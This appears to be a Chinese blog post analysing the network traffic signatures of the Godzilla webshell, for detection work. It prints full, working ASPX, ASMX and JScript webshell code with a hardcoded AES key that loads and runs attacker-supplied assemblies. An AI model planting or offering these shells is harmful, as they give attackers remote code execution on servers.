<%@ Page Language="C#"%><%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>

第一个请求响应为空

解密AES-CBC,key=IV,格式为md5-16位+base64+md5-16位,回显经过gzip压缩

1
2
3
4
5
6
7
Cache-Control: private  //响应

第一个请求响应frame.len == 336
第二个请求响应Content-Length: 76、frame.len == 340


CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU= //默认连接参数(pass)和key(key)下响应必然包含
CSHAP_EVAL_AES_BASE64
1
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

实际上就是eval执行了CSHAP_AES_BASE64的shell,然后再传实际payload,会有两个参数

1
eval(System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(HttpUtility.UrlDecode(''))),'unsafe');
1
2
3
4
Cache-Control: private  //响应

第一个请求响应frame.len == 313
第二个请求响应Content-Length: 76、frame.len == 340
CSHAP_ASMX_AES_BASE64

shell.asmx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ WebService Language="C#" Class="WebService1" %>
public class WebService1 : System.Web.Services.WebService
{

[System.Web.Services.WebMethod(EnableSession = true)]
public string pass(string pass)
{
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder();
try { string key = "3c6e0b8a9c15224a"; string pass_pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass_pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(System.Web.HttpUtility.UrlDecode(pass)); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream(); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); stringBuilder.Append(md5.Substring(0, 16)); stringBuilder.Append(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); stringBuilder.Append(md5.Substring(16)); } } catch (System.Exception) { }
return stringBuilder.ToString();
}

}

xml格式的CSHAP_AES_BASE64,基本一致

这里第一个请求不是空返回了,而是返回了xml结构

1
2
3
4
5
6
SOAPAction: "http://tempuri.org/pass"  //请求header
Content-Type: text/xml; charset=utf-8 //请求header
Cache-Control: private, max-age=0 //响应

第一个请求响应Content-Length: 317,frame.len == 680
第二个请求响应Content-Length: 404、frame.len == 679
CSHAP_AES_RAW
1
2
<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
%>

因为raw不需要参数传payload,所以body应该是固定的,第二次请求的长度Content-Length: 48也可以作为特征

1
2
3
4
5
6
Content-Type: application/octet-stream  //请求
Cache-Control: private //响应

第一个请求响应Content-Length: 336
第二个请求Content-Length: 48
第二个请求响应Content-Length: 32、frame.len == 281

哥斯拉webshell流量特征
http://example.com/2025/12/16/哥斯拉/
作者
J_0k3r
发布于
2025年12月16日
许可协议
BY J_0K3R